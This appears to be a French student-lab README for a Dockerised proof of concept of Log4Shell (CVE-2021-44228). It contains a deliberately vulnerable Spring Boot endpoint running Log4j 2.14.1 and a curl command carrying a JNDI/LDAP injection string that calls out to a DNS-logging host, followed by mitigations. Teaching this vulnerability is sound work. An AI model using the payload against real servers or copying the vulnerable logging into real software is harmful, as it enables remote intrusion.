
Étude technique et mise en œuvre d'un environnement de test pour la faille Apache Log4j (CVE-2021-44228). Contient un Proof of Concept (PoC) Dockerisé et une proposition de mise à jour de PSSI. Pour un objectif de TP
Ce projet est un environnement de test contrôlé permettant de reproduire et comprendre la faille critique Log4Shell (CVE-2021-44228) affectant la bibliothèque Apache Log4j.
Secutp1/
├── Dockerfile # Construction de l'image Docker
├── pom.xml # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md # Ce fichier
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Application Spring Boot vulnérable
Démontrer comment un attaquant peut exploiter la faille CVE-2021-44228 pour forcer un serveur à effectuer une connexion réseau sortante non autorisée, simplement en envoyant une chaîne de caractères malveillante.
pom.xml)Le fichier pom.xml force l'utilisation de Log4j 2.14.1, une version antérieure au correctif de sécurité :
<log4j2.version>2.14.1</log4j2.version>
Cette version contient la classe JndiLookup activée par défaut, qui est la racine du problème.
VulnerableApplication.java)L'application expose un service web REST. La vulnérabilité se situe dans la méthode index :
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNÉRABLE :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
Problème : L'application récupère un paramètre utilisateur (input) et le passe directement à logger.info() sans aucun filtrage. Log4j interprète alors le contenu comme une commande potentielle.
Dockerfile)Le Dockerfile utilise une construction en deux étapes :
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre💡 L'utilisation de Java 11 est pertinente car les versions plus récentes restreignent par défaut le chargement de classes distantes.
L'exploitation repose sur l'injection JNDI (Java Naming and Directory Interface) :
${jndi:protocole://url} dans les logsAssurez-vous que les fichiers suivants sont dans le même dossier :
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
Cette commande télécharge les dépendances Maven (Log4j 2.14.1) et crée l'image.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
L'application écoute maintenant sur le port 8080.
Rendez-vous sur un service de logging DNS :
Copiez l'adresse fournie (ex: mon-test.dnslog.cn)
Dans un nouveau terminal, lancez la commande suivante :
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 Note : Le caractère
\sert à échapper le$dans le terminal.
Retournez sur le site dnslog. Vous verrez une requête DNS apparaître, confirmant que le serveur a exécuté le code injecté.
Le serveur a effectué une connexion sortante vers une machine externe simplement en loguant une requête utilisateur.
Dans un scénario réel, cette connexion aurait permis de :
Pour corriger cette vulnérabilité :
-Dlog4j2.formatMsgNoLookups=trueCe projet est fourni à des fins éducatives uniquement. Utilisez-le de manière responsable et éthique.
| Étape | Action |
|---|
| 1 | L'application Java reçoit la requête HTTP |
| 2 | La ligne logger.info(...) traite le paramètre input |
| 3 | Log4j détecte la syntaxe ${jndi:...} |
| 4 | Log4j exécute la résolution LDAP vers le serveur distant |
| 5 | Une requête DNS apparaît sur l'interface DNSLog |